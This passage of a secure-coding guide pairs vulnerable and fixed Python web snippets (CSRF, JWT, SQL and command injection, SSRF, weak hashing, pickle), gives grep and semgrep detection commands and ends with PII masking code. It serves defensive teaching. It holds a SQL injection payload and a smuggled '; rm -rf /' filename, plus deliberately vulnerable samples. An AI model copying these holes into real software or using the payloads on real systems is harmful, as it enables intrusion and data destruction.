        'iss': ISSUER,
        'aud': AUDIENCE,
    }

    # Send raw fingerprint as hardened cookie
    response.set_cookie(
        '__Secure-Fgp', fingerprint,
        httponly=True, secure=True,
        samesite='Strict', max_age=900,
    )

    return jwt.encode(payload, SECRET_KEY, algorithm='HS256')

# VULNERABLE: No CSRF protection
@app.post("/transfer")
async def transfer_money(to_account: str = Form(...), amount: float = Form(...)):
    perform_transfer(to_account, amount)

# SAFE: CSRF token validation
def verify_csrf_token(request: Request, csrf_token: str = Form(...)):
    if request.session.get("csrf_token") != csrf_token:
        raise HTTPException(status_code=403, detail="CSRF token mismatch")

@app.post("/transfer")
async def transfer_money(
    to_account: str = Form(...), amount: float = Form(...),
    _: None = Depends(verify_csrf_token),
):
    perform_transfer(to_account, amount)

# Alternative: SameSite cookies
response.set_cookie(
    key="session_id", value=session_token,
    httponly=True, secure=True,
    samesite="strict",  # Key CSRF protection
)

# VULNERABLE: Character-by-character comparison
def check_password(stored_hash: str, provided_hash: str) -> bool:
    for a, b in zip(stored_hash, provided_hash):
        if a != b:
            return False  # Early exit reveals info
    return True

# SAFE: Constant-time comparison
import hmac
def check_password_secure(stored_hash: str, provided_password: str) -> bool:
    provided_hash = hashlib.sha256(provided_password.encode()).hexdigest()
    return hmac.compare_digest(stored_hash, provided_hash)

# Better: Use a proper library
from argon2 import PasswordHasher
ph = PasswordHasher()
ph.verify(stored_hash, password)  # Handles timing safely

# VULNERABLE: Debug mode in production
app.debug = True

# SAFE: Environment-based config
app.debug = os.getenv('FLASK_ENV') == 'development'

# VULNERABLE: CORS allow all
CORS(app, origins="*", allow_credentials=True)

# SAFE: Explicit origins
CORS(app, origins=["https://app.example.com"], allow_credentials=True)

# Scan for vulnerabilities
npm audit
pip-audit

# Fix vulnerabilities
npm audit fix

# JWT algorithm confusion
grep -rn "get_unverified_header\|algorithms=\[" --include="*.py" .

# Missing SameSite cookies
grep -rn "set_cookie\|setCookie" --include="*.py" . | grep -v "samesite"

# CSRF exempt decorators
grep -rn "@csrf_exempt" --include="*.py" .

# Timing attack vulnerable comparisons
semgrep --config "p/python-security-audit" .

header = jwt.get_unverified_header(token)
payload = jwt.decode(token, SECRET_KEY, algorithms=[header['alg']])

payload = jwt.decode(
    token, SECRET_KEY,
    algorithms=['HS256'],
    options={'require': ['exp', 'iat', 'iss', 'aud']},
)

# VULNERABLE: User input directly in query
query = f"SELECT * FROM users WHERE email = '{email}'"

# SAFE: Parameterized query
query = "SELECT * FROM users WHERE email = ?"
db.execute(query, [email])

# SAFE: ORM
db.query(User).filter(User.name == name).first()

# Vulnerable endpoint
@app.get("/users/search")
def search_users(username: str = Query(...)):
    query = f"SELECT * FROM users WHERE username = '{username}'"
    cursor.execute(query)
    return cursor.fetchall()

# Attack payload: username = "' OR '1'='1' --"
# Resulting query: SELECT * FROM users WHERE username = '' OR '1'='1' --'
# Returns ALL users

@app.get("/users/search")
def search_users(username: str = Query(..., min_length=1, max_length=50)):
    cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
    return cursor.fetchall()

# VULNERABLE: User input in shell command
import os
os.system(f"convert {filename} output.png")  # filename = "; rm -rf /"

# SAFE: subprocess with list args
import subprocess
subprocess.run(["convert", filename, "output.png"], check=True)

# VULNERABLE: Fetch any URL
response = requests.get(user_provided_url)

# SAFE: Allowlist domains
ALLOWED = ['api.example.com']
if urlparse(url).hostname not in ALLOWED:
    abort(400)
response = requests.get(url)

# VULNERABLE: No authorization check
@app.get("/api/documents/{doc_id}")
def get_document(doc_id: int):
    return db.query(Document).get(doc_id)  # Anyone can access any doc

# SAFE: Authorization check
@app.get("/api/documents/{doc_id}")
def get_document(doc_id: int, current_user: User = Depends(get_current_user)):
    doc = db.query(Document).get(doc_id)
    if doc.owner_id != current_user.id and not current_user.is_admin:
        raise HTTPException(403, "Access denied")
    return doc

# VULNERABLE: Weak hashing
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()

# SAFE: Modern password hashing
from argon2 import PasswordHasher
ph = PasswordHasher()
password_hash = ph.hash(password)

# VULNERABLE: Pickle from untrusted source
import pickle
data = pickle.loads(user_input)  # Can execute arbitrary code

# SAFE: Use JSON
import json
data = json.loads(user_input)  # Only parses data

# Detect SQL injection patterns
grep -rn "f\"SELECT\|f\"INSERT\|f\"UPDATE\|f\"DELETE" --include="*.py" .
bandit -r . -t B608

# Detect command injection
semgrep --config "p/python-security-audit" .

# Detect SSRF
grep -rn "requests.get\|urllib.urlopen" --include="*.py" .

query = f"SELECT * FROM users WHERE email = '{email}'"
cursor.execute(query)

cursor.execute("SELECT * FROM users WHERE email = ?", (email,))

import re

def mask_pii(data, **kwargs):
    """Mask PII using regex patterns."""
    if isinstance(data, str):
        # Credit cards
        data = re.sub(r'\b(?:\d[ -]*?){13,19}\b', '[REDACTED_CC]', data)
        # Emails
        data = re.sub(r'\b[\w.-]+@[\w.-]+\.\w+\b', '[REDACTED_EMAIL]', data)
        # Phone numbers
        data = re.sub(r'\b\d{3}[-.]?\d{3}[-.]?\d{4}\b', '[REDACTED_PHONE]', data)
        # SSN
        data = re.sub(r'\b\d{3}-\d{2}-\d{4}\b', '[REDACTED_SSN]', data)
    return data

from presidio_analyzer import AnalyzerEngine
from presidio_anonymizer import AnonymizerEngine

analyzer = AnalyzerEngine()
anonymizer = AnonymizerEngine()

def detect_pii(text: str, language: str = "en") -> list:
    return analyzer.analyze(
        text=text, language=language,
        entities=["PERSON", "EMAIL_ADDRESS", "PHONE_NUMBER", "CREDIT_CARD", "US_SSN"]
    )

def anonymize_text(text: str, language: str = "en") -> str:
    results = analyzer.analyze(text=text, language=language)
    return anonymizer.anonymize(text=text, analyzer_results=results).text

from presidio_anonymizer.entities import OperatorConfig

operators = {
    "PERSON": OperatorConfig("replace", {"new_value": "[PERSON]"}),
    "CREDIT_CARD": OperatorConfig("mask", {"masking_char": "*", "chars_to_mask": 12}),
    "EMAIL_ADDRESS": OperatorConfig("hash", {"hash_type": "sha256"}),
    "US_SSN": OperatorConfig("redact"),
}

anonymized = anonymizer.anonymize(text=text, analyzer_results=results, operators=operators)